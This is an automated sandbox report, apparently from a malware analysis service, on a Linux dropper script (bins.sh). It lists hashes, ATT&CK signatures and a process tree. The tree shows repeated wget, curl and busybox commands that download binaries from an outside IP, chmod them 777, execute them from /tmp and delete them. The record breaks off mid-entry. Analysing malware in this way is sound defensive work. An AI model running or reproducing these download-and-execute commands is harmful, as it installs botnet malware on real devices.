bf5bd1c4f78290af10e282c253d729e71c409db3f6cb8ee635e71f6ab88728c2

Analysis

max time kernel
177s
max time network
182s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
04/11/2024, 12:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241104-pnbgtsypes
SHA256 bf5bd1c4f78290af10e282c253d729e71c409db3f6cb8ee635e71f6ab88728c2
MD5 dc698ae540a540b36276c5ff6b31d35b
SHA1 fd817ba94e95b61864aee1dbc7aa81cf161aa654
SHA512 a17aaed2a4446493e7b072550aec27ad06c8a009b6f2f3d25ca262c437997a1523e1d0762d0c0c0332dc96285896b53a3e4a5eab57bf37f7efe407e615fd5e62
SSDEEP 192:Kj1GhxBgsVhJt3mu0nOOMYgTj/7f7v7DU7wv3OSKHHFMYgTjp7f7v7DU7w7OSKHo:Kj1GhxBgsEnOOMYgTj/LjUqsMYgTjpLl
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 25 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
780	chmod
870	chmod
876	chmod
882	chmod
919	chmod
932	chmod
938	chmod
757	chmod
956	chmod
806	chmod
815	chmod
862	chmod
906	chmod
913	chmod
745	chmod
739	chmod
821	chmod
894	chmod
926	chmod
732	chmod
888	chmod
900	chmod
944	chmod
950	chmod
832	chmod

Executes dropped EXE 25 IoCs

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
820	busybox
898	curl
943	busybox
733	cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
818	wget
822	HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
902	rm
899	busybox
901	HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
946	rm
734	rm
897	wget
730	busybox
819	curl
823	rm
941	wget
942	curl
945	cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
710	wget
719	curl

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u	curl
File opened for modification	/tmp/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4	curl
File opened for modification	/tmp/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u	curl
File opened for modification	/tmp/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4	curl
File opened for modification	/tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d	curl
File opened for modification	/tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i	curl
File opened for modification	/tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw	curl
File opened for modification	/tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm	curl
File opened for modification	/tmp/jSzU6UEiOXtCArPgrSuWNemjM596082qzM	curl
File opened for modification	/tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm	curl
File opened for modification	/tmp/jSzU6UEiOXtCArPgrSuWNemjM596082qzM	curl
File opened for modification	/tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk	curl
File opened for modification	/tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj	curl
File opened for modification	/tmp/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh	curl
File opened for modification	/tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw	curl
File opened for modification	/tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj	curl
File opened for modification	/tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d	curl
File opened for modification	/tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM	curl
File opened for modification	/tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj	curl
File opened for modification	/tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM	curl
File opened for modification	/tmp/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP	curl
File opened for modification	/tmp/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO	curl
File opened for modification	/tmp/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh	curl
File opened for modification	/tmp/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP	curl
File opened for modification	/tmp/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:710
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:719
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:730
- /bin/chmod
  chmod 777 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  ./cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:733
- /bin/rm
  rm cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:734
- /usr/bin/wget
  wget http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:735
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:738
- /bin/chmod
  chmod 777 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  ./46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:741
- /usr/bin/wget
  wget http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:744
- /bin/chmod
  chmod 777 ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  ./ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:747
- /usr/bin/wget
  wget http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:754
- /bin/chmod
  chmod 777 YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  ./YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:761
- /usr/bin/wget
  wget http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  PID:776
- /bin/chmod
  chmod 777 n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  ./n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  - Executes dropped EXE
  PID:782
- /bin/rm
  rm n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  PID:784
- /usr/bin/wget
  wget http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  PID:802
- /bin/chmod
  chmod 777 QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  ./QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  PID:810
- /usr/bin/wget
  wget http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:814
- /bin/chmod
  chmod 777 O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  ./O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:817
- /usr/bin/wget
  wget http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:818
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:820
- /bin/chmod
  chmod 777 HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  ./HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:822
- /bin/rm
  rm HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:823
- /usr/bin/wget
  wget http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:828
- /bin/chmod
  chmod 777 GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  ./GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:836
- /usr/bin/wget
  wget http://216.126.231.240/bins/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  PID:837
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  PID:859
- /bin/chmod
  chmod 777 sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  ./sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  PID:866
- /usr/bin/wget
  wget http://216.126.231.240/bins/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  PID:869
- /bin/chmod
  chmod 777 hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  ./hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  PID:872
- /usr/bin/wget
  wget http://216.126.231.240/bins/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  PID:875
- /bin/chmod
  chmod 777 ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  ./ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  PID:878
- /usr/bin/wget
  wget http://216.126.231.240/bins/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  PID:881
- /bin/chmod
  chmod 777 jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  ./jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  PID:884
- /usr/bin/wget
  wget http://216.126.231.240/bins/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  PID:887
- /bin/chmod
  chmod 777 RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  ./RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  PID:890
- /usr/bin/wget
  wget http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:893
- /bin/chmod
  chmod 777 O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  ./O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:896
- /usr/bin/wget
  wget http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:897
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:899
- /bin/chmod
  chmod 777 HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  ./HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:901
- /bin/rm
  rm HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:902
- /usr/bin/wget
  wget http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:905
- /bin/chmod
  chmod 777 GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  ./GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:909
- /usr/bin/wget
  wget http://216.126.231.240/bins/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  PID:912
- /bin/chmod
  chmod 777 sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  ./sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm sVxTsQSzkWfKsNQi8X1Q91MNsWLc4PqHyP
  2⤵
  PID:915
- /usr/bin/wget
  wget http://216.126.231.240/bins/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  PID:918
- /bin/chmod
  chmod 777 hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  ./hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm hc1XpzBLzykxBYNvDQpyf9Uhvq5cugSG3u
  2⤵
  PID:921
- /usr/bin/wget
  wget http://216.126.231.240/bins/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  PID:925
- /bin/chmod
  chmod 777 ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  ./ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm ed1Fj0towrT5xLWX7tFlzcWNj8g9VYGdwO
  2⤵
  PID:928
- /usr/bin/wget
  wget http://216.126.231.240/bins/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  PID:931
- /bin/chmod
  chmod 777 jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  ./jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm jSzU6UEiOXtCArPgrSuWNemjM596082qzM
  2⤵
  PID:934
- /usr/bin/wget
  wget http://216.126.231.240/bins/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  PID:937
- /bin/chmod
  chmod 777 RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  ./RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm RVfUQ1CCzdYM3DLtzJiEr0sjkL7UiiLvd4
  2⤵
  PID:940
- /usr/bin/wget
  wget http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:941
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:943
- /bin/chmod
  chmod 777 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  ./cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:945
- /bin/rm
  rm cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:946
- /usr/bin/wget
  wget http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:949
- /bin/chmod
  chmod 777 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  ./46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
